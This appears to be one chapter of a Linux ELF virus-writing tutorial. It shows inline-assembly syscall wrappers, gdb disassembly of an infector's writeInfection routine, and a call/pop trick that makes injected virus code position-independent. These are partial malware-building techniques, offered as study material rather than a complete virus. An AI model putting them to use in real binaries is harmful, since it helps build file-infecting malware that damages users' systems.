Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things. | |
Doug Gwyn |
In the language of evil I declared the code generated by gcc to be unsuitable for a virus. And then rewrote the whole thing in assembly. A less drastic solution is to use inline assembly to correct only what's really necessary.
Compare with In doubt use force. No need for the function to set errno. We can't access global variables, anyway. Actually our code does not care for the return value at all.
Source - do_syscall.
int do_syscall(int number, ...) { __asm__( "push %ebx ;" "mov 0x1C(%ebp),%edi;" "mov 0x18(%ebp),%esi;" "mov 0x14(%ebp),%edx;" "mov 0x10(%ebp),%ecx;" "mov 0x0C(%ebp),%ebx;" "mov 0x08(%ebp),%eax;" "int $0x80 ;" "pop %ebx " ); } |
Previous examples required a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).
The crucial part are the lines in writeInfection where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. Let's have a look at the disassembly. Because of C++ name mangling this is not that easy, anyway.
Command.
#!/bin/sh file=${1:-tmp/one_step_closer/one/infector} func=${2:-writeInfection} symbol=$( nm ${file} | perl -ane "m/${func}/ && print \$F[2];" ) gdb ${file} -q <<EOT | sed -ne '/:$/,/ret *$/p' set disassembly-flavor intel disassemble ${symbol} EOT |
Output - writeInfection.asm.
(gdb) (gdb) Dump of assembler code for function writeInfection__6Target: 0x8049504 <writeInfection__6Target>: push ebp 0x8049505 <writeInfection__6Target+1>: mov ebp,esp 0x8049507 <writeInfection__6Target+3>: push ebx 0x8049508 <writeInfection__6Target+4>: sub esp,0x8 0x804950b <writeInfection__6Target+7>: push 0x1a 0x804950d <writeInfection__6Target+9>: push 0x8049c43 0x8049512 <writeInfection__6Target+14>: mov ebx,DWORD PTR [ebp+8] 0x8049515 <writeInfection__6Target+17>: push ds:0x804b064 0x804951b <writeInfection__6Target+23>: call 0x8048ce0 <fprintf> 0x8049520 <writeInfection__6Target+28>: add esp,0xc 0x8049523 <writeInfection__6Target+31>: push 0x1 0x8049525 <writeInfection__6Target+33>: push 0x8049bf0 0x804952a <writeInfection__6Target+38>: push DWORD PTR [ebx] 0x804952c <writeInfection__6Target+40>: call 0x8048cb0 <write> 0x8049531 <writeInfection__6Target+45>: add esp,0xc 0x8049534 <writeInfection__6Target+48>: push 0x4 0x8049536 <writeInfection__6Target+50>: lea eax,[ebx+24] 0x8049539 <writeInfection__6Target+53>: push eax 0x804953a <writeInfection__6Target+54>: push DWORD PTR [ebx] 0x804953c <writeInfection__6Target+56>: call 0x8048cb0 <write> 0x8049541 <writeInfection__6Target+61>: add esp,0xc 0x8049544 <writeInfection__6Target+64>: push 0x15 0x8049546 <writeInfection__6Target+66>: push 0x8049bf5 0x804954b <writeInfection__6Target+71>: push DWORD PTR [ebx] 0x804954d <writeInfection__6Target+73>: call 0x8048cb0 <write> 0x8049552 <writeInfection__6Target+78>: add esp,0x10 0x8049555 <writeInfection__6Target+81>: mov ebx,DWORD PTR [ebp-4] 0x8049558 <writeInfection__6Target+84>: leave 0x8049559 <writeInfection__6Target+85>: ret |
Member variables are accessed through this, which is kept in register ebx. This is a good thing. The bad thing are pushed constants 0x8049c43 and 0x4.
The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of required patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that gcc's option -fpic does not help this problem at all.
-fpic
Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)
The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A call pushes the current value of IP onto the stack and adds a relative offset to it. Doing a pop instead of ret will load the value IP had at a known position into a regular register.
Source - relocate.
void* relocate(void* address) { __asm__( "call delta; " "delta: " "pop %eax; " "sub $(delta),%eax; " "add 0x08(%ebp),%eax"); } |
<<< Previous | Home | |
Additional code segments |